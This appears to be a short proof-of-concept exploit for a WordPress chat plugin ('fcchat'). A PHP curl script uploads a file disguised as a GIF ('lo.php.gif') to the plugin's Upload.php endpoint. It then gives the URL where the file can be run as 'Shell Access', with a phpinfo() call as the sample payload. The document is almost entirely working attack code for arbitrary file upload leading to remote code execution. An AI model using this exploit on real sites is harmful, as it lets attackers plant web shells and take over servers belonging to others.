<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif

lo.php.gif
<?php
phpinfo();
?>